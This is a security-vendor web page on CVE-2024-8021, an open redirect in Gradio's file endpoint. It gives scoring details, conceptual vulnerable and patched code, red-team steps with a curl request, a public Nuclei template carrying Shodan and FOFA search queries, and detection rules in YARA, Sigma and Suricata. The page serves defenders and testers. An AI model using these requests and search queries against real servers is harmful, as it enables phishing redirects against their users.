☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gradio-app logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 🐛 CWE-601
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8021

CVE-2024-8021 is an open redirect vulnerability in Gradio, a popular Python library for building machine learning web demos.
📅 PUBLISHED: 2025-03-20 10:11 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.74%
👁️
0.74% probability
18.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8021 is an open redirect vulnerability in Gradio, a popular Python library for building machine learning web demos. The flaw allows an attacker to bypass URL validation by encoding the redirect target, leading to a 302 redirect to an attacker-controlled site. This can be exploited for phishing attacks, credential theft, and erosion of user trust. The vulnerability has a CVSS score of 5.4 (Medium) and is confirmed exploitable with a public Nuclei template. No official patch has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gradio is distributed via PyPI (pip install gradio). Users should monitor for patched versions and verify package integrity using checksums. The open redirect can be weaponized in supply chain attacks by tricking users into visiting malicious sites that mimic legitimate Gradio interfaces.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is medium due to the requirement for user interaction (clicking a crafted link) and the limited impact on confidentiality and integrity. However, the ease of exploitation and potential for phishing campaigns elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in Gradio's file serving endpoint. When a request is made to /file= followed by a URL-encoded path, the application performs a redirect without proper validation. By encoding the target URL (e.g., http://oast.pro as http%3A%2F%2Foast.pro), an attacker can bypass any existing allowlist or blocklist checks.

The Nuclei template confirms the bypass works by sending a GET request to /file=http%3A%2F%2Foast.pro/ and checking for a 302 redirect with a Location header pointing to the attacker-controlled domain.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Gradio's file handler performs a redirect without validating the target
@app.route('/file=<path:filepath>')
def file_redirect(filepath):
    # No validation of filepath before redirect
    return redirect(filepath)

Patched Code (Expected):

# Patched version validates the redirect target
from urllib.parse import urlparse

ALLOWED_DOMAINS = ['example.com', 'gradio.app']

@app.route('/file=<path:filepath>')
def file_redirect(filepath):
    parsed = urlparse(filepath)
    if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
        abort(400, "Invalid redirect target")
    return redirect(filepath)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.x
  • Gradio installed (pip install gradio)
  • A listener on a public endpoint (e.g., oast.pro or a custom domain)

Exploit Steps:

  1. Start a Gradio server (default port 7860).
  2. Craft a malicious URL: http://target:7860/file=http%3A%2F%2Foast.pro%2F
  3. Send the request using curl or a browser:
    curl -v "http://localhost:7860/file=http%3A%2F%2Foast.pro%2F"
    
  4. Observe the 302 redirect to http://oast.pro/.

Nuclei Template (Provided):

id: CVE-2024-8021

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application.
  impact: |
    Attackers can craft malicious URLs with encoded redirects that send users to phishing sites or malicious domains, leading to credential theft and undermining trust in the Gradio application.
  remediation: |
    Update Gradio to a version that addresses the open redirect vulnerability via URL encoding bypass.
  reference:
    - https://huntr.com/bounties/adc23067-ec04-47ef-9265-afd452071888
  classification:
    epss-score: 0.02447
    epss-percentile: 0.85249
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_project
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - raw:
      - |
        GET /file=http%3A%2F%2Foast.pro/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

      - type: status
        status:
          - 302

Blue Team

Detection Steps:

  1. Monitor web server logs for requests to /file= with encoded URLs.
  2. Look for 302 responses with Location headers pointing to external domains.
  3. Use the provided YARA and Sigma rules to detect exploitation attempts.

Lab Setup for Testing:

  • Deploy a vulnerable Gradio instance in an isolated environment.
  • Use the Nuclei template to verify the vulnerability.
  • Implement the detection rules and test with benign and malicious requests.

Indicators of Compromise (IOCs)

  • URL Pattern: /file=http%3A%2F%2F[malicious-domain]%2F
  • HTTP Response: 302 redirect with Location header containing an external domain.
  • Network Traffic: Outbound connections to attacker-controlled domains after redirect.
  • Log Entries: GET /file=http%3A%2F%2F* with status 302.

Detection Engineering

YARA Rule

rule CVE_2024_8021_Gradio_Open_Redirect {
    meta:
        description = "Detects Gradio open redirect exploitation attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8021"
    strings:
        $url_pattern = "/file=http%3A%2F%2F"
        $redirect_header = "Location: http"
    condition:
        $url_pattern and $redirect_header
}

Sigma Rule

title: Gradio Open Redirect Exploitation
id: 7b8f3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests targeting Gradio's open redirect vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/file=http%3A%2F%2F"
        sc-status: 302
    condition: selection
falsepositives:
    - Legitimate file serving with encoded paths (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8021 Gradio Open Redirect"; flow:to_server,established; content:"/file=http%3A%2F%2F"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Implement a reverse proxy (e.g., Nginx) to block requests containing /file=http%3A%2F%2F in the URI.
  2. Short-term: Disable the file serving endpoint if not required, or restrict it to internal networks.
  3. Long-term: Update Gradio to a patched version once released. Monitor the official repository for updates.
  4. User Awareness: Educate users not to click on suspicious links containing encoded URLs.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division

{/* [Security Hash: 09284550D8183171FD40B4E4] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8021/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.